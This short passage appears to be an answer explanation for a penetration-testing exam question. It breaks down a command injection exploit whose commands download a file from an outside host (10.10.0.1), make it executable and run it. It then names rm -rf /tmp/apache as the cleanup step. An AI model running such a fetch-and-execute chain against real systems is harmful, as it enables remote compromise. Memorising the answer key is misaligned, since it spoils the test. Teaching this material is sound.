The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:
cd /tmp: change the current directory to /tmp
wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1
chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone
./apache: run the file as an executable
The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.